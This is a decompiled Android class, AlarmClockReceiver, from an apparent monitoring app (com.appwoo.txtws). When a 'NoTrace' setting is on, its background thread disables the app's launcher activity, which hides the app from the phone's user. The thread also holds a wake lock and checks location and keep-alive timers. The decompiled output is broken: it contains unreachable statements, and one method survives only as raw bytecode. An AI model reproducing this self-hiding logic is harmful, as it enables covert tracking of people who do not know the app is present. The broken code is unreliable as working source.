package com.appwoo.txtws.service;

import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
import android.content.SharedPreferences;
import android.content.pm.PackageManager;
import android.os.PowerManager;
import android.os.PowerManager.WakeLock;
import com.appwoo.txtws.component.DBHelper;
import com.appwoo.txtws.component.Global;
import com.appwoo.txtws.component.Logger;
import com.appwoo.txtws.component.RqSP;

public class AlarmClockReceiver extends BroadcastReceiver
{
  private static final int Do_StatusBar;
  private static int iCount = -1;
  private static DBHelper myDBHelper;
  private boolean blRunableCheck = false;
  Thread hideThread = new Thread()
  {
    public void run()
    {
      super.run();
      int i;
      int j;
      label321: 
      do
      {
        while (true)
        {
          try
          {
            PowerManager localPowerManager = (PowerManager)AlarmClockReceiver.this.mContext.getSystemService("power");
            SharedPreferences localSharedPreferences = AlarmClockReceiver.this.mContext.getSharedPreferences("firstLogin", 0);
            if (localSharedPreferences.getString("NoTrace", "0").equals("1"))
            {
              ComponentName localComponentName1 = new ComponentName(AlarmClockReceiver.this.mContext.getPackageName(), "com.appwoo.txtws.activity.ActiveActivity");
              PackageManager localPackageManager1 = AlarmClockReceiver.this.mContext.getPackageManager();
              localPackageManager1.getComponentEnabledSetting(localComponentName1);
              localPackageManager1.setComponentEnabledSetting(localComponentName1, 2, 1);
              if ((!localSharedPreferences.getString("SleepSet", "0").equals("0")) || (localPowerManager.isScreenOn()))
                return;
              RqSP localRqSP = new RqSP();
              if (Global.getDateDiff(Global.strToDate(localRqSP.getKeepAliveTime(AlarmClockReceiver.this.mContext)), Global.getCurLocalDate()) >= -8 + 30 * Global.rate)
              {
                i = 1;
                if (Global.getDateDiff(Global.strToDate(localRqSP.getLocationTime(AlarmClockReceiver.this.mContext)), Global.getCurLocalDate()) < 840L)
                  break;
                j = 1;
                break label321;
                AlarmClockReceiver.this.mWakeLock = localPowerManager.newWakeLock(1, "XYTEST");
                if (AlarmClockReceiver.this.mWakeLock.isHeld())
                  return;
                AlarmClockReceiver.this.mWakeLock.acquire();
                Logger.e("bod", "启动 防cpu休眠..Run.");
              }
            }
            else
            {
              ComponentName localComponentName2 = new ComponentName(AlarmClockReceiver.this.mContext.getPackageName(), "com.appwoo.txtws.activity.ActiveActivity");
              PackageManager localPackageManager2 = AlarmClockReceiver.this.mContext.getPackageManager();
              localPackageManager2.getComponentEnabledSetting(localComponentName2);
              localPackageManager2.setComponentEnabledSetting(localComponentName2, 1, 1);
              continue;
            }
          }
          catch (Exception localException)
          {
            localException.printStackTrace();
            return;
          }
          i = 0;
        }
        j = 0;
      }
      while ((i != 0) || (j != 0));
    }
  };
  private Context mContext;
  private PowerManager.WakeLock mWakeLock;
  private PowerManager myPowerManager;
  private SharedPreferences sp;

  // ERROR //
  public void onReceive(Context paramContext, android.content.Intent paramIntent)
  {
    // Byte code:
    //   0: aload_0
    //   1: aload_1
    //   2: putfield 41	com/appwoo/txtws/service/AlarmClockReceiver:mContext	Landroid/content/Context;
    //   5: getstatic 57	com/appwoo/txtws/component/Global:serverTimeMills	J
    //   8: lconst_0
    //   9: lcmp
    //   10: ifne +18 -> 28
    //   13: aload_1
    //   14: new 59	android/content/Intent
    //   17: dup
    //   18: aload_1
    //   19: ldc 61
    //   21: invokespecial 64	android/content/Intent:<init>	(Landroid/content/Context;Ljava/lang/Class;)V
    //   24: invokevirtual 70	android/content/Context:startService	(Landroid/content/Intent;)Landroid/content/ComponentName;
    //   27: pop
    //   28: ldc 72
    //   30: new 74	java/lang/StringBuilder
    //   33: dup
    //   34: invokestatic 80	java/lang/System:currentTimeMillis	()J
    //   37: invokestatic 86	java/lang/String:valueOf	(J)Ljava/lang/String;
    //   40: invokespecial 89	java/lang/StringBuilder:<init>	(Ljava/lang/String;)V
    //   43: ldc 91
    //   45: invokevirtual 95	java/lang/StringBuilder:append	(Ljava/lang/String;)Ljava/lang/StringBuilder;
    //   48: aload_1
    //   49: invokestatic 99	com/appwoo/txtws/component/Global:getServerTimeMills	(Landroid/content/Context;)J
    //   52: invokevirtual 102	java/lang/StringBuilder:append	(J)Ljava/lang/StringBuilder;
    //   55: invokevirtual 106	java/lang/StringBuilder:toString	()Ljava/lang/String;
    //   58: invokestatic 112	com/appwoo/txtws/component/Logger:i	(Ljava/lang/String;Ljava/lang/String;)V
    //   61: getstatic 115	com/appwoo/txtws/component/Global:isBinded	I
    //   64: iconst_1
    //   65: if_icmpne +60 -> 125
    //   68: iconst_1
    //   69: getstatic 25	com/appwoo/txtws/service/AlarmClockReceiver:iCount	I
    //   72: iadd
    //   73: putstatic 25	com/appwoo/txtws/service/AlarmClockReceiver:iCount	I
    //   76: getstatic 25	com/appwoo/txtws/service/AlarmClockReceiver:iCount	I
    //   79: i2l
    //   80: ldc2_w 116
    //   83: getstatic 120	com/appwoo/txtws/component/Global:AlarmClockTicks	J
    //   86: ldiv
    //   87: lrem
    //   88: lconst_0
    //   89: lcmp
    //   90: ifne +35 -> 125
    //   93: aload_0
    //   94: aload_1
    //   95: putfield 41	com/appwoo/txtws/service/AlarmClockReceiver:mContext	Landroid/content/Context;
    //   98: ldc 122
    //   100: aload_2
    //   101: invokevirtual 125	android/content/Intent:getAction	()Ljava/lang/String;
    //   104: invokevirtual 129	java/lang/String:equals	(Ljava/lang/Object;)Z
    //   107: istore 4
    //   109: iload 4
    //   111: ifeq +10 -> 121
    //   114: aload_0
    //   115: getfield 37	com/appwoo/txtws/service/AlarmClockReceiver:hideThread	Ljava/lang/Thread;
    //   118: invokevirtual 134	java/lang/Thread:start	()V
    //   121: iconst_0
    //   122: putstatic 25	com/appwoo/txtws/service/AlarmClockReceiver:iCount	I
    //   125: return
    //   126: astore_3
    //   127: aload_3
    //   128: invokevirtual 137	java/lang/Exception:printStackTrace	()V
    //   131: return
    //   132: astore 5
    //   134: goto -13 -> 121
    //
    // Exception table:
    //   from	to	target	type
    //   0	28	126	java/lang/Exception
    //   28	109	126	java/lang/Exception
    //   121	125	126	java/lang/Exception
    //   114	121	132	java/lang/Exception
  }
}

/* Location:           C:\Documents and Settings\Administrator\classes_dex2jar.jar
 * Qualified Name:     com.appwoo.txtws.service.AlarmClockReceiver
 * JD-Core Version:    0.6.2
 */